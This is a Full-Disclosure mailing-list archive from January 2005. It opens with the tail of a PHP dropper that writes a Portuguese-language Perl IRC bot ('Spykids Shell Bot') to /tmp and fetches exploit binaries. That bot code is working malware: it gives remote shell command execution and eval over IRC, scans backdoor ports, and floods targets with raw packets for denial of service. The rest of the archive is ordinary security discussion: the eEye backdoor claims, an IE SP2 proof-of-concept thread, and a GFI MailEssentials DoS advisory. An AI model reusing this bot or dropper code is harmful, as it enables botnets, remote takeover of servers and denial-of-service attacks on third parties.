       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
       $irc_servers{$IRC_cur_socket}{"nome"} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
         sendraw("PRIVMSG $canal cheguei gazelas");
         sendraw("PRIVMSG $canal meh que tao ?");
       }
   }
}

sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=( 44464, 4444, 14589, 666, 6666, 6968, 26092,
530, 46256, 31337,
             2222, 3879, 30464, 40193, 36864, 33270, 36864, 40193, 30464,
             8008, 1234, 6969, 7788, 1524, 10000, 12321, 43690, 3333,
             9999, 8975, 16705, 2313, 21317, 36864, 13330, 58821, 6682, 5678,
             45295, 65535, 26112, 7512, 24876, 9191, 5321, 50766, 1492, 12345,
             12346, 6969, 6970, 12666, 1666, 80, 21, 23, 25, 110);
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr =>
$hostip, PeerPort => $porta, Proto => "tcp", Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :portas
abertas: @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma
porta aberta foi encontrada");
             }
           }

#########################################################
 
	
#########################################################


	     if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
            
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status
GERAL -\002");
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002:
$dtime"."s");
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total
pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + 
$pacotes{o}));
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total
bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} +
$bytes{o}));
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de
envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} +
$bytes{o})/1024)/$dtime)." kbps");


           }
           exit;
       }
  }
}
 
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^entrar (.*)/) {
     j("$1");
   } 
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
sub shell {
  return unless $secv;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diert?rio inexistente!");
    return;
  } 
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = "B" x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
$pacotes{tcp} = 0;
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       # DoS ?? :P
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}



#############
#  ALIASES  #
#############

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &entrar(@_); }
sub entrar {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
}



# DCC
package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = "sendcon";
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto
fik com o sendcon
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq "sendcon") {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }
 
  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{"meuip"};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta,
Proto => "tcp") and $dcc_sel->add($sendsock);
  } until $sendsock;

  $DCC{$sendsock}{tipo} = "send";
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else { 
    return(0); 
  }

  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip,
PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = "get";
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de
acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total",
"$cur_byte","$d_time", "$rate", "$porcen");
  }


  return(0);
}


# esse "sub fixaddr" daki foi pego do NET::IRC::DCC identico soh
copiei e coloei (colokar nome do autor)
sub fixaddr {
    my ($address) = @_;

    chomp $address;     # just in case, sigh.
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~
/^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}';

    $fp = fopen("/tmp/spykids.pl", "w");
    $ok = fwrite($fp, $shell);

    if (!empty($ok)) {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*]
Spykids Shell Bot Was Successfuly Copied</DIV>";
    } else {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-]
An Error Has Ocurred While Copying Shell</DIV>";
    }
  }

  

?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php

// Function to Dowload Local Xploite Binary COde or Source Code

if ($dx != "") {
  $fp = @fopen("$hostxpl",r);
  $fp2 = @fopen("$storage","w");
  fwrite($fp2, "");
  $fp1 = @fopen("$storage","a+");
  for (;;) {
    $read = @fread($fp, 4096);
    if (empty($read)) break;
    $ok = fwrite($fp1, $read);
    
    if (empty($ok)) {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-]
An Error Has Ocurred While Uploading File</DIV>";
      break;
    }
  }

  if (!empty($ok)) {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*]
File Was Successfuly Uploaded</DIV>";
  }
}

flush( );
?> 
</font></pre>



From BlueBoar at thievco.com  Mon Jan  3 04:27:09 2005
From: BlueBoar at thievco.com (Blue Boar)
Date: Sun, 02 Jan 2005 20:27:09 -0800
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS
	and Secure
In-Reply-To: <41D867D2.9030105@immunitysec.com>
References: <BAY2-F347D60BC3A6AB7882C2046CC9B0@phx.gbl>
	<41D867D2.9030105@immunitysec.com>
Message-ID: <41D8C99D.1090304@thievco.com>

Dave Aitel wrote:
> Of course, this sort of thing is basically impossible to disprove - 
> especially without source.

If I were looking for a well-hidden backdoor, I wouldn't bother with 
source.  There's no guarantee that a particular binary was produced by a 
particular group of source unless you can compile it yourself to the 
same set of bytes.  Even then, you've got no guarantee the backdoor 
isn't introduced as part of the build process or a compiler quirk, 
rather than being in the source.

As for proof in this particular case, I find the claim rather 
extraordinary, so I would place the burden of proof on the claimer. 
Let's see an exploit.

					BB


From jftucker at gmail.com  Mon Jan  3 12:53:24 2005
From: jftucker at gmail.com (James Tucker)
Date: Mon, 3 Jan 2005 08:53:24 -0400
Subject: [Full-Disclosure] YEY AGAIN Automatic
	remotecompromiseofInternetExplorer Service Pack 2 XP SP2
In-Reply-To: <JBEEIFHMJEMDBGMNEHCOIEEMCAAA.mevanchik@relationship1.com>
References: <200412261612.iBQGCrvO028554@lists.netsys.com>
	<JBEEIFHMJEMDBGMNEHCOIEEMCAAA.mevanchik@relationship1.com>
Message-ID: <e92364c3050103045311078cba@mail.gmail.com>

Just throwing an idea out here....

On many systems, with more advanced users but less memory, I set the
Help and Support service to 'manual' start. This prevents the service
from being loaded on boot (about 30mb of memory saved, IIRC).

Does this affect these exploits?

N.B. There is a side effect to setting the service to manual, in some
cases the requested help page will not be viewed until the second call
to the help system, at which point two help windows will be displayed.


On Mon, 27 Dec 2004 11:57:24 -0500, Michael Evanchik
<mevanchik at relationship1.com> wrote:
>  
> works on around 30 people i know so far.  Some it doesnt,  You have to be
> admin, also view the source code you have to have the local html file in
> c:\windows\pchealth\helpctr\  ect   specified 
>   
> Another could have been used 
>  
> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com
> [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of Ron Jackson
> Sent: Sunday, December 26, 2004 11:14 AM
> To: full-disclosure at lists.netsys.com
> Subject: RE: [Full-Disclosure] YEY AGAIN Automatic
> remotecompromiseofInternetExplorer Service Pack 2 XP SP2
> 
>  
>  
> 
> Hmm, 
> 
>    Popped up a help window with a few lines of text in it?but that was it. 
> No files in startup.  Winxpsp2 fully patched, Sygate personal firewall,
> Adaware SE professional. 
> 
>   
>  
>  ________________________________
>  
> 
> From: full-disclosure-bounces at lists.netsys.com
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Michael
> Evanchik
> Sent: Sunday, December 26, 2004 12:07 AM
> To: Aviv Raff; full-disclosure at lists.netsys.com
> Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote
> compromiseofInternetExplorer Service Pack 2 XP SP2 
> 
>   
>  
> 
> try www.michaelevanchik.com/security/microsoft/ie/xss/index.html 
>  
> 
>   
>  
> 
> might be a little more reliable PoC 
>  
> 
>   
>  
> 
> 1) new not known by AVP codes 
>  
> 
> 2) uses all start up menue languages 
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
>   
>  
> 
> -----Original Message-----
> From: Michael Evanchik [mailto:mevanchik at relationship1.com]
> Sent: Saturday, December 25, 2004 9:11 PM
> To: Aviv Raff; full-disclosure at lists.netsys.com
> Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote compromise
> ofInternetExplorer Service Pack 2 XP SP2 
>  
> 
> Hi Aviv, 
>  
> 
>   
>  
> 
> Not sure what your issue is.  This has been tested on many people, and it
> works on everyone.  Maybe its your pop up blocker?  Maybe its your AVP?  
>  
> 
>   
>  
> 
> This exploit is on Securityfocus and k-otik as they tested as well.  Http
> equiv verified before any post was made to FD. 
>  
> 
>   
>  
> 
> In either case we did not code around pop up blockers nor around known virus
> strings.  This PoC is not for blackhats kiddies. 
>  
> 
>   
>  
> 
> Mike 
>  
> 
>   
>  
> 
>   
>  
> 
> www.michaelevanchik.com 
>  
> 
>   
>  
> 
> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com
> [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of Aviv Raff
> Sent: Saturday, December 25, 2004 7:47 AM
> To: full-disclosure at lists.netsys.com; 'Michael Evanchik'
> Subject: RE: [Full-Disclosure] YEY AGAIN Automatic remote compromise
> ofInternetExplorer Service Pack 2 XP SP2 
>  
> 
> Hi, 
>  
> 
>   
>  
> 
> Somehow the POC does not work on both of my WinXPSP2 pro boxes. 
>  
> 
> Both are fully patched, but one is hardened and the other is after a clean
> install. 
>  
> 
>   
>  
> 
> After running the POC, the IE opens the Help window, but then freezes for a
> couple of minutes. 
>  
> 
> After IE stops freezing, there is no Microsoft Office.hta on the startup
> folder. 
>  
> 
>   
>  
> 
> And yes, I'm running this on an Administrator account. 
>  
> 
>   
>  
> 
> Can anyone else confirm this? 
>  
> 
>   
>  
> 
> -- Aviv Raff
> >From "Zen and the Art of Why Linux Sucks": "Ahh.. Can you smell the 'open
> source' zealots in the morning?". 
>  
> 
>   
>  
> 
>   
> 
>   
>  ________________________________
>  
> 
> From: full-disclosure-bounces at lists.netsys.com
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Michael
> Evanchik
> Sent: Friday, December 24, 2004 6:11 PM
> To: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com;
> NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM; vuln at vulnwatch.org
> Subject: [Full-Disclosure] YEY AGAIN Automatic remote compromise of
> InternetExplorer Service Pack 2 XP SP2 
> 
>   
> 
> http://freehost07.websamba.com/greyhats/sp2rc-analysis.htm 
> 
>   
> 
>   
> 
> Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise 
> 
> Dec, 21 2004 
> 
> Vulnerable
> ----------
> - Microsoft Internet Explorer 6.0
> - Microsoft Windows XP Pro SP2
> - Microsoft Windows XP Home SP2 
> 
> Not Tested
> ------------------------
> - Microsoft Windows 98
> - Microsoft Internet Explorer 5.x
> - Microsoft Windows 2003 Server 
> 
>   
> 
> Severity
> ---------
> Critical - Remote code execution, no user intervention 
> 
> Proof of Concept?
> ------------------
> - http://freehost07.websamba.com/greyhats/sp2rc.htm 
> 
> - If an error is shown, press OK. This is normal. 
> 
> - Notice in your startup menu a new file called Microsoft Office.hta. When
> run, this file will download and launch a harmless executable (which
> includes a pretty neat fire animation) 
> 
>   
> 
>   
> 
>   
> 
> Michael Evanchik 
> 
> Relationship1 
> 
> p: 914-921-4400 
> 
> f:  914-921-6007 
> 
> mailto:mevanchik at relationship1.com 
> 
> web: http://www.relationship1.com 
> 
>   
> 
>   
>  
> 
> #####################################################################################
> This Mail Was Scanned by 012.net Anti Virus Service - Powered by TrendMicro
> Interscan 
> 
>   
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
>



From dave at immunitysec.com  Mon Jan  3 15:30:55 2005
From: dave at immunitysec.com (Dave Aitel)
Date: Mon, 03 Jan 2005 10:30:55 -0500
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products	(IRIS
	and SecureIIS)
In-Reply-To: <1104472854.2022.3515.camel@meposs>
References: <200412291517.iBTFGsE6011085@lists.netsys.com>
	<1104472854.2022.3515.camel@meposs>
Message-ID: <41D9652F.7050606@immunitysec.com>

Daniel H. Renner wrote:

>I recall an interview with a highly placed security executive back in
>the later '90s.  In this interview he lamented being in the security
>business in the United States with a line similar to:
>
>"If you create and announce a security product in the United States, you
>will very shortly have the NSA entering your premises and demanding 'Ok,
>where is our backdoor?'"
>
>And remember, eEye was started after one of it's co-founders woke up to
>federal guns pointed at his head one fine morning, having been mistaken
>as someone who had penetrated somewhere he shouldn't have.
>
>Not to bash my own country here but, this leads to a question: How can
>any security product, sub-product or service created in the U.S. hold
>credibility even with the good intentions that the creators may have
>originally had?
>  
>

It's an interesting question, and Immunity answers it in this email we 
sent to DailyDave a while back.

http://archives.neohapsis.com/archives/dailydave/2004-q3/0206.html

Dave Aitel
Immunity, Inc.


From kruse at krusesecurity.dk  Mon Jan  3 16:09:03 2005
From: kruse at krusesecurity.dk (Peter Kruse)
Date: Mon, 3 Jan 2005 17:09:03 +0100
Subject: [Full-Disclosure] Remote DoS in GFI MailEssentials due to a bug in
	Microsoft HTML parser
Message-ID: <BAEFKJBBCIPAKCGNHICFAEFNHAAA.kruse@krusesecurity.dk>

CSIS Security Advisory: [CSIS2005-1)

Remote DoS in GFI MailEssentials due to a bug in Microsoft HTML parser

Date Published: 3rd of January 2005

Product description:
GFI MailEssentials for Exchange/SMTP offers spam protection and email
management at server level. GFI MailEssentials offers a fast set-up and a
high spam detection rate using Bayesian analysis and other methods - no
configuration required, very low false positives through its automatic
whitelist, and the ability to automatically adapt to your email environment
to constantly tune and improve spam detection. GFI MailEssentials also adds
email management tools to your mail server: disclaimers, mail archiving and
monitoring, Internet mail reporting, list server, server-based auto replies
and POP3 downloading.

Summary:
Specially crafted HTML emails could cause GFI MailSecurity and GFI
MailEssentials to stop processing, with emails getting stuck in the IIS
queue or Exchange pre-submission queues. There will be no error indications
other than MailQueue stops processing. Restarting the server or services
will not help. The flaw will occur when MailEssentials processes the strings
in an email subject, body or in an attached text file. Exploitation is
trivial.

Vulnerability Class:
This flaw affects all tested versions of GFI MailEssentials and will cause a
remote Denial of Service.
Not tested are other programs making use of Microsoft HTML parser.

Details:
CSIS has discovered a flaw in GFI MailEssentials 9 and 10.x and GFI
MailSecurity 8.x where a specially crafted HTML email causes the products to
stop processing, resulting in emails getting stuck in the IIS/Exchange
queues.

The problem lies in a Microsoft HTML library that is made use of by a GFI
library, common to GFI MailSecurity and GFI MailEssentials.

A malicious user can exploit this flaw and craft an e-mail containing a
specially crafted javascript. When the e-mail containing the javascript is
received by MailEssentials, it will be processed resulting in a DoS. The
mail will reside in the queues until it's manually removed. If the server is
rebooted without removing the affected mail from the queues, the same mail
gets processed again and again and a new DoS will occur. MailEssentials will
not process any other in- or outbound e-mails until this mail is completely
removed from the bad mail queue. This is a ugly scenario since you'll end up
looking for a needle in a haystack.

CSIS would like to underline that this flaw is really a result of a bug in
Microsoft HTML parser. As such, this problem is not directly related to GFI.
We suspect other products are vulnerable as well.

Impact:
Medium-High: This is a remote DoS. Leaving no trace, no warnings and no
indication of which e-mail causing the problem.

Solution:
A fix has been released:

GFI MailEssentials 10.x -
ftp://ftp.gfi.com/patches/ME10_PATCH_20041220_01.zip
GFI MailEssentials 9 - ftp://ftp.gfi.com/patches/me9_PATCH_20041220_01.zip
GFI MailSecurity 8.x - ftp://ftp.gfi.com/patches/MSEC8_PATCH_20041220_01.zip

It's strongly recommended to apply these patches as soon as possible. Also
it would be wise to set up an alert mechanism monitoring number of mails in
queue. CSIS also recommend using the GFI monitor function to see if mails
gets processed at regular intervals.

Affected Products:
GFI MailSecurity 8.x
GFI MailEssentials 9
GFI MailEssentials 10.x

Running on Microsoft Windows 2000 Server with all relevant patches
installed.

CSIS would like to thank GFI for a quick and professional response. It took
only 5 days for GFI to troubleshoot and fix this issue!

CVE:
The Common Vulnerabilities and Exposures (CVE) project has assigned the name
CAN-2004-1312 to this issue. This is a candidate for inclusion in the CVE
list (http://cve.mitre.org), which standardizes names for security problems.

Links
For more information about the patches see GFI KB article:
http://kbase.gfi.com/showarticle.asp?id=KBID002249


---
Med venlig hilsen // Kind regards

Peter Kruse
Security- and virusanalyst
http://www.csis.dk

PGP fingerprint
79FD 0648 158E 6B9E 236F  CFDA 7C58 64D6 BE83 FA60



From pauls at utdallas.edu  Mon Jan  3 16:16:32 2005
From: pauls at utdallas.edu (Paul Schmehl)
Date: Mon, 03 Jan 2005 10:16:32 -0600
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products
	(IRIS and Secure
In-Reply-To: <41D8C99D.1090304@thievco.com>
References: <BAY2-F347D60BC3A6AB7882C2046CC9B0@phx.gbl>
	<41D867D2.9030105@immunitysec.com> <41D8C99D.1090304@thievco.com>
Message-ID: <C61A52302FB37DE216D63696@utd49554.utdallas.edu>

--On Sunday, January 02, 2005 08:27:09 PM -0800 Blue Boar 
<BlueBoar at thievco.com> wrote:
>
> As for proof in this particular case, I find the claim rather
> extraordinary, so I would place the burden of proof on the claimer. Let's
> see an exploit.
>
You're never going to see one.  It's too sooper sekrit to share with us 
mere mortals.  (Sort of like the alien corpses they have hidden out in Area 
51.)

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu


From barrie at reboot-robot.net  Mon Jan  3 16:00:38 2005
From: barrie at reboot-robot.net (Barrie Dempster)
Date: Mon, 03 Jan 2005 16:00:38 +0000
Subject: [Full-Disclosure] Suspect phpBB users
In-Reply-To: <4.3.2.7.2.20041225184906.02c3be50@localhost>
References: <4.3.2.7.2.20041225184906.02c3be50@localhost>
Message-ID: <1104768038.11372.11.camel@localhost.localdomain>

On Sat, 2004-12-25 at 18:54 -0500, Jack Yan wrote:
> Dear Full-Disclosure members:
> 
> I am not a computer expert, just a regular Joe who hopes this information 
> may be useful to you.
